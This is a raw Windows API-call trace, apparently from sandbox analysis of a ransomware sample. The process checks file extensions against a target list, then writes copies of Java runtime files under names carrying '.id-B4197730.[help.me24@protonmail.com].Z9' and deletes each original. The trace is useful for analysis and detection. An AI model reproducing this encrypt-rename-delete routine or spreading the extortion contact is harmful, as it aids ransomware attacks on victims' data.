	[0093.033] lstrlenW (lpString=".pdf") returned 4
	[0093.033] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0093.033] lstrlenW (lpString=".xls") returned 4
	[0093.033] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0093.033] lstrlenW (lpString=".xlsx") returned 5
	[0093.033] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1
	[0093.033] lstrlenW (lpString=".ppt") returned 4
	[0093.033] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0093.033] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll") returned 51
	[0093.033] lstrlenW (lpString=".zip") returned 4
	[0093.033] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0093.033] lstrlenW (lpString=".rar") returned 4
	[0093.033] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0093.034] lstrlenW (lpString=".bz2") returned 4
	[0093.034] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0093.034] lstrlenW (lpString=".7z") returned 3
	[0093.034] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0093.034] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll") returned 51
	[0093.034] lstrlenW (lpString=".dbf") returned 4
	[0093.034] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0093.034] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll") returned 51
	[0093.034] lstrlenW (lpString=".1cd") returned 4
	[0093.034] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0093.034] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll") returned 51
	[0093.034] lstrlenW (lpString=".jpg") returned 4
	[0093.034] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0093.034] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll") returned 51
	[0093.034] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll") returned 51
	[0093.034] lstrlenW (lpString=".doc") returned 4
	[0093.034] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0093.034] lstrlenW (lpString=".docx") returned 5
	[0093.034] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1
	[0093.034] lstrlenW (lpString=".pdf") returned 4
	[0093.034] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0093.034] lstrlenW (lpString=".xls") returned 4
	[0093.034] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0093.034] lstrlenW (lpString=".xlsx") returned 5
	[0093.034] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1
	[0093.034] lstrlenW (lpString=".ppt") returned 4
	[0093.034] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0093.034] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll") returned 51
	[0093.034] lstrlenW (lpString=".zip") returned 4
	[0093.034] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0093.034] lstrlenW (lpString=".rar") returned 4
	[0093.034] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0093.034] lstrlenW (lpString=".bz2") returned 4
	[0093.034] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0093.034] lstrlenW (lpString=".7z") returned 3
	[0093.035] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0093.035] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll") returned 51
	[0093.035] lstrlenW (lpString=".dbf") returned 4
	[0093.035] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0093.035] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll") returned 51
	[0093.035] lstrlenW (lpString=".1cd") returned 4
	[0093.035] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0093.035] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll") returned 51
	[0093.035] lstrlenW (lpString=".jpg") returned 4
	[0093.035] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0093.035] lstrcmpiW (lpString1=".exe", lpString2=".Z9") returned -1
	[0093.035] lstrlenW (lpString="java-rmi.exe") returned 12
	[0093.035] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java-rmi.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0093.036] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=15936) returned 1
	[0093.036] CloseHandle (hObject=0x360) returned 1
	[0093.036] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java-rmi.exe")) returned 0x20
	[0093.036] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java-rmi.exe.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0093.036] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java-rmi.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0093.036] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.036] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.036] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java-rmi.exe.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0093.036] GetLastError () returned 0x0
	[0093.036] ReadFile (in: hFile=0x360, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x3e40, lpOverlapped=0x0) returned 1
	[0093.054] WriteFile (in: hFile=0x370, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x3e50, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x3e50, lpOverlapped=0x0) returned 1
	[0093.057] ReadFile (in: hFile=0x360, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0093.057] WriteFile (in: hFile=0x370, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0093.057] SetEndOfFile (hFile=0x370) returned 1
	[0093.058] CloseHandle (hObject=0x370) returned 1
	[0093.058] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.058] SetEndOfFile (hFile=0x360) returned 1
	[0093.059] CloseHandle (hObject=0x360) returned 1
	[0093.059] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0093.059] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java-rmi.exe")) returned 1
	[0093.059] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe") returned 51
	[0093.059] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe") returned 51
	[0093.059] lstrlenW (lpString=".doc") returned 4
	[0093.059] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0093.059] lstrlenW (lpString=".docx") returned 5
	[0093.059] lstrcmpiW (lpString1=".docx", lpString2="i.exe") returned -1
	[0093.059] lstrlenW (lpString=".pdf") returned 4
	[0093.059] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0093.059] lstrlenW (lpString=".xls") returned 4
	[0093.059] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0093.059] lstrlenW (lpString=".xlsx") returned 5
	[0093.059] lstrcmpiW (lpString1=".xlsx", lpString2="i.exe") returned -1
	[0093.059] lstrlenW (lpString=".ppt") returned 4
	[0093.059] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0093.059] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe") returned 51
	[0093.059] lstrlenW (lpString=".zip") returned 4
	[0093.059] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0093.059] lstrlenW (lpString=".rar") returned 4
	[0093.059] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0093.059] lstrlenW (lpString=".bz2") returned 4
	[0093.059] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0093.060] lstrlenW (lpString=".7z") returned 3
	[0093.060] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0093.060] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe") returned 51
	[0093.060] lstrlenW (lpString=".dbf") returned 4
	[0093.060] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0093.060] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe") returned 51
	[0093.060] lstrlenW (lpString=".1cd") returned 4
	[0093.060] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0093.060] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe") returned 51
	[0093.060] lstrlenW (lpString=".jpg") returned 4
	[0093.060] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0093.060] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe") returned 51
	[0093.304] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe") returned 51
	[0093.304] lstrlenW (lpString=".doc") returned 4
	[0093.304] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0093.304] lstrlenW (lpString=".docx") returned 5
	[0093.304] lstrcmpiW (lpString1=".docx", lpString2="i.exe") returned -1
	[0093.304] lstrlenW (lpString=".pdf") returned 4
	[0093.304] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0093.304] lstrlenW (lpString=".xls") returned 4
	[0093.304] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0093.305] lstrlenW (lpString=".xlsx") returned 5
	[0093.305] lstrcmpiW (lpString1=".xlsx", lpString2="i.exe") returned -1
	[0093.305] lstrlenW (lpString=".ppt") returned 4
	[0093.305] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0093.305] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe") returned 51
	[0093.305] lstrlenW (lpString=".zip") returned 4
	[0093.305] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0093.305] lstrlenW (lpString=".rar") returned 4
	[0093.305] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0093.305] lstrlenW (lpString=".bz2") returned 4
	[0093.305] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0093.305] lstrlenW (lpString=".7z") returned 3
	[0093.305] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0093.305] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe") returned 51
	[0093.305] lstrlenW (lpString=".dbf") returned 4
	[0093.305] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0093.305] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe") returned 51
	[0093.305] lstrlenW (lpString=".1cd") returned 4
	[0093.305] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0093.305] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe") returned 51
	[0093.305] lstrlenW (lpString=".jpg") returned 4
	[0093.305] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0093.305] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0093.305] lstrlenW (lpString="java_crw_demo.dll") returned 17
	[0093.305] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java_crw_demo.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0093.306] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=29760) returned 1
	[0093.306] CloseHandle (hObject=0x300) returned 1
	[0093.306] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java_crw_demo.dll")) returned 0x20
	[0093.326] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java_crw_demo.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0093.326] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java_crw_demo.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0093.326] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.326] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.326] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java_crw_demo.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0093.327] GetLastError () returned 0x0
	[0093.327] ReadFile (in: hFile=0x394, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x7440, lpOverlapped=0x0) returned 1
	[0093.333] WriteFile (in: hFile=0x378, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x7450, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x7450, lpOverlapped=0x0) returned 1
	[0093.335] ReadFile (in: hFile=0x394, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0093.335] WriteFile (in: hFile=0x378, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0093.335] SetEndOfFile (hFile=0x378) returned 1
	[0093.335] CloseHandle (hObject=0x378) returned 1
	[0093.335] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.335] SetEndOfFile (hFile=0x394) returned 1
	[0093.336] CloseHandle (hObject=0x394) returned 1
	[0093.336] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0093.336] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java_crw_demo.dll")) returned 1
	[0093.337] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll") returned 56
	[0093.337] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll") returned 56
	[0093.337] lstrlenW (lpString=".doc") returned 4
	[0093.337] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0093.337] lstrlenW (lpString=".docx") returned 5
	[0093.337] lstrcmpiW (lpString1=".docx", lpString2="o.dll") returned -1
	[0093.337] lstrlenW (lpString=".pdf") returned 4
	[0093.337] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0093.337] lstrlenW (lpString=".xls") returned 4
	[0093.337] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0093.337] lstrlenW (lpString=".xlsx") returned 5
	[0093.337] lstrcmpiW (lpString1=".xlsx", lpString2="o.dll") returned -1
	[0093.337] lstrlenW (lpString=".ppt") returned 4
	[0093.337] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0093.337] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll") returned 56
	[0093.337] lstrlenW (lpString=".zip") returned 4
	[0093.337] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0093.337] lstrlenW (lpString=".rar") returned 4
	[0093.337] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0093.337] lstrlenW (lpString=".bz2") returned 4
	[0093.337] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0093.337] lstrlenW (lpString=".7z") returned 3
	[0093.337] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0093.337] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll") returned 56
	[0093.337] lstrlenW (lpString=".dbf") returned 4
	[0093.337] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0093.337] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll") returned 56
	[0093.337] lstrlenW (lpString=".1cd") returned 4
	[0093.337] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0093.337] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll") returned 56
	[0093.337] lstrlenW (lpString=".jpg") returned 4
	[0093.337] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0093.338] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll") returned 56
	[0093.338] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll") returned 56
	[0093.338] lstrlenW (lpString=".doc") returned 4
	[0093.338] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0093.338] lstrlenW (lpString=".docx") returned 5
	[0093.338] lstrcmpiW (lpString1=".docx", lpString2="o.dll") returned -1
	[0093.338] lstrlenW (lpString=".pdf") returned 4
	[0093.338] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0093.338] lstrlenW (lpString=".xls") returned 4
	[0093.338] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0093.338] lstrlenW (lpString=".xlsx") returned 5
	[0093.338] lstrcmpiW (lpString1=".xlsx", lpString2="o.dll") returned -1
	[0093.338] lstrlenW (lpString=".ppt") returned 4
	[0093.338] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0093.338] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll") returned 56
	[0093.338] lstrlenW (lpString=".zip") returned 4
	[0093.338] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0093.338] lstrlenW (lpString=".rar") returned 4
	[0093.338] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0093.338] lstrlenW (lpString=".bz2") returned 4
	[0093.338] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0093.338] lstrlenW (lpString=".7z") returned 3
	[0093.338] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0093.338] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll") returned 56
	[0093.338] lstrlenW (lpString=".dbf") returned 4
	[0093.338] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0093.338] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll") returned 56
	[0093.338] lstrlenW (lpString=".1cd") returned 4
	[0093.338] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0093.338] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll") returned 56
	[0093.338] lstrlenW (lpString=".jpg") returned 4
	[0093.338] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0093.338] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0093.339] lstrlenW (lpString="JAWTAccessBridge-64.dll") returned 23
	[0093.339] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawtaccessbridge-64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0093.339] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=15424) returned 1
	[0093.339] CloseHandle (hObject=0x394) returned 1
	[0093.339] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawtaccessbridge-64.dll")) returned 0x20
	[0093.339] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawtaccessbridge-64.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0093.340] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawtaccessbridge-64.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0093.340] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.340] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.340] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawtaccessbridge-64.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0093.340] GetLastError () returned 0x0
	[0093.340] ReadFile (in: hFile=0x394, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x3c40, lpOverlapped=0x0) returned 1
	[0093.389] WriteFile (in: hFile=0x378, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x3c50, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x3c50, lpOverlapped=0x0) returned 1
	[0093.390] ReadFile (in: hFile=0x394, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0093.390] WriteFile (in: hFile=0x378, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x102, lpOverlapped=0x0) returned 1
	[0093.390] SetEndOfFile (hFile=0x378) returned 1
	[0093.390] CloseHandle (hObject=0x378) returned 1
	[0093.390] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.390] SetEndOfFile (hFile=0x394) returned 1
	[0093.391] CloseHandle (hObject=0x394) returned 1
	[0093.391] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0093.391] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawtaccessbridge-64.dll")) returned 1
	[0093.392] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll") returned 62
	[0093.392] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll") returned 62
	[0093.392] lstrlenW (lpString=".doc") returned 4
	[0093.392] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0093.392] lstrlenW (lpString=".docx") returned 5
	[0093.392] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1
	[0093.392] lstrlenW (lpString=".pdf") returned 4
	[0093.392] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0093.392] lstrlenW (lpString=".xls") returned 4
	[0093.392] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0093.392] lstrlenW (lpString=".xlsx") returned 5
	[0093.392] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1
	[0093.392] lstrlenW (lpString=".ppt") returned 4
	[0093.392] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0093.392] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll") returned 62
	[0093.392] lstrlenW (lpString=".zip") returned 4
	[0093.392] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0093.392] lstrlenW (lpString=".rar") returned 4
	[0093.392] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0093.392] lstrlenW (lpString=".bz2") returned 4
